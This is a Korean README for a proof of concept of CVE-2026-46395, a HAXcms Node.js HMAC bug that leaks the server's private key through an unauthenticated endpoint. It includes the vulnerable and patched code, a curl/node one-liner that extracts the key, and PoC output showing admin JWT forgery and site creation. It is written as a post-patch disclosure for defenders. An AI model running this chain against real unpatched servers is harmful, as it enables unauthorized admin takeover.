
CVE-2026-46395에 대한 PoC 및 분석: HAXcms Node.js의 취약한 HMAC을 통한 인증되지 않은 개인키 노출 (CWE-321/CWE-200). 승인된 보안 연구 전용.
권한이 있는 보안 테스트 및 연구 목적으로만 사용되는 개념 증명입니다. 여기에 설명된 취약점은 최신 HAXcms 릴리스에서 수정되었습니다. 이 PoC는 방어자와 연구자가 소유하거나 명시적으로 테스트 권한을 부여받은 패치되지 않은 인스턴스에서 문제를 확인할 수 있도록 게시되었습니다.
| CVE | CVE-2026-46395 |
| 구성 요소 | HAXcms Node.js 백엔드 - haxcms-nodejs/src/lib/HAXCMS.js |
| 취약점 | 하드코딩된 암호화 키 + 개인 키 노출 (CWE-321, CWE-200) |
| 심각도 | 치명적 - CVSS 3.1 9.8 |
| 공격 | 인증되지 않음, 단일 HTTP 요청, 사용자 상호 작용 없음 |
| 상태 | 상위에서 수정됨. 패치 이전 릴리스에 영향을 미칩니다. |
| 프로젝트 | elmsln/HAXcms |
| 제보자 | Shreyas Challa ([email protected]) |
HAXcms Node.js 백엔드의 hmacBase64() (src/lib/HAXCMS.js:2158-2163)에는 두 가지 암호화 오류가 포함되어 있어, 함께 사용하면 인증되지 않은 공격자가 서버의 마스터 서명 비밀(privateKey + salt)을 복구하고 관리자 수준의 JWT를 위조할 수 있습니다.
// HAXCMS.js:2158-2163 - VULNERABLE
hmacBase64(data, key) {
var buf1 = crypto.createHmac("sha256", "0").update(data).digest(); // BUG 1: key hardcoded to "0"
var buf2 = Buffer.from(key); // BUG 2: the real key...
return Buffer.concat([buf1, buf2]).toString('base64') // ...is appended to the output
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
key 대신 리터럴 "0"이 서명 키로 사용되므로 HMAC은 기밀성을 제공하지 않습니다.key(시스템의 privateKey + salt)가 다이제스트에 연결되어 반환된 토큰에 base64 인코딩됩니다.따라서 모든 토큰은 다음과 같은 구조를 가집니다:
base64url( [32 bytes: HMAC-SHA256 keyed with "0"] [N bytes: privateKey+salt IN PLAINTEXT] )
공격자는 임의의 토큰을 base64 디코딩하고, 처음 32바이트를 버린 후 개인 키를 직접 읽습니다. /system/api/connectionSettings 엔드포인트는 JWT 스킵 목록(src/app.js)에 있으며 인증 없이 이러한 토큰 여러 개를 반환하므로 단일 GET 요청으로 키가 노출됩니다.
PHP 백엔드(
HAXCMS.php:1619-1631)는 이 기능을 올바르게 구현합니다(실제 키로 키 지정, 다이제스트만 반환 → 44자 토큰). 손상된 Node.js 버전은 139자 이상의 토큰을 생성하므로 추가 데이터가 포함되어 있음을 눈에 띄게 알 수 있습니다.
단일 인증되지 않은 요청으로 완전한 손상이 발생합니다:
GET /system/api/connectionSettings, 임의의 토큰을 base64 디코딩하고 처음 32바이트를 버립니다.jwt.sign(payload, privateKey+salt).user_token, form_token 등을 다시 계산합니다.이는 관리자가 강력한 암호를 설정한 후에도 작동하며, 위조된 토큰은 로그에 로그인 이벤트를 생성하지 않습니다.
poc_hmac_key_leak.js는 실행 중인 인스턴스에 대해 전체 체인을 종단간 수행하고 각 단계를 상세히 출력합니다: 토큰 가져오기 → 키 추출 → 키 확인 → JWT 위조 → 요청 토큰 위조 → 인증된 엔드포인트 호출 → 쓰기 액세스 증명을 위한 사이트 생성.
로컬 테스트 인스턴스 설정:
git clone https://github.com/elmsln/HAXcms.git
cd HAXcms/haxcms-nodejs && npm install
node src/app.js # serves on http://localhost:3000
git clone https://github.com/shreyas-challa/CVE-2026-46395-haxcms-hmac-key-leak.git
cd CVE-2026-46395-haxcms-hmac-key-leak
npm install # pulls jsonwebtoken (used for JWT forgery)
node poc_hmac_key_leak.js http://localhost:3000
jsonwebtoken이 설치되지 않은 경우 PoC는 여전히 키를 추출하고 확인하며 JWT 위조 단계를 건너뜁니다.
TOKEN=$(curl -s http://localhost:3000/system/api/connectionSettings \
| grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)
node -e "const t='$TOKEN'.replace(/-/g,'+').replace(/_/g,'/');
console.log('Leaked key:', Buffer.from(t,'base64').slice(32).toString('utf8'));"
STEP 1: Fetch /system/api/connectionSettings (NO AUTH)
token length: 139 chars (a correct HMAC token is ~44)
STEP 2: Extract the private key from the token
Bytes 32+ (privateKey + salt in PLAINTEXT):
4b399844-...-...-db022bc6-fa42-4dae-a74e-4eb52a53461b
RESULT: Private key successfully extracted!
STEP 3: MATCH - extracted key is correct.
STEP 4: Forged JWT (user=admin) ...
STEP 7: SITE CREATED SUCCESSFULLY - full admin access confirmed.
손상된 함수를 다이제스트만 반환하는 올바른 키 HMAC으로 교체:
hmacBase64(data, key) {
return crypto.createHmac("sha256", key) // use the real key
.update(data)
.digest('base64') // return ONLY the hash
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
패치 적용 후:
privateKey 및 salt를 교체하세요 - 이전에 발급된 모든 토큰에는 일반 텍스트로 된 이전 키가 포함되어 있습니다(HTTP 응답, 로그, 브라우저 기록에).상위 수정 사항이 포함된 최신 HAXcms 릴리스로 업데이트하세요.
이 문제는 HAXcms 유지관리자에게 보고되었으며 게시 전에 수정되었습니다. PoC는 패치가 제공된 후에만 릴리스됩니다. 소유하거나 명시적으로 테스트 권한을 부여받은 시스템에 대해서만 사용하십시오.
이 자료는 방어 연구, 교육 및 승인된 보안 테스트를 위해 제공됩니다. 명시적 허가 없이 시스템에서 실행하는 것은 불법일 수 있습니다. 귀하는 모든 관련 법률을 준수하고 테스트 전에 승인을 받을 책임이 전적으로 있습니다. 어떠한 보증 없이 "있는 그대로" 제공됩니다(LICENSE 참조).